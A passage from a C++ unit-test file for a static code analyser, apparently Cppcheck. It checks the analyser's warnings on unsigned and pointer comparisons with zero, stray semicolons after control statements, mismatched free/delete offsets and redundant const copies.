[unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n 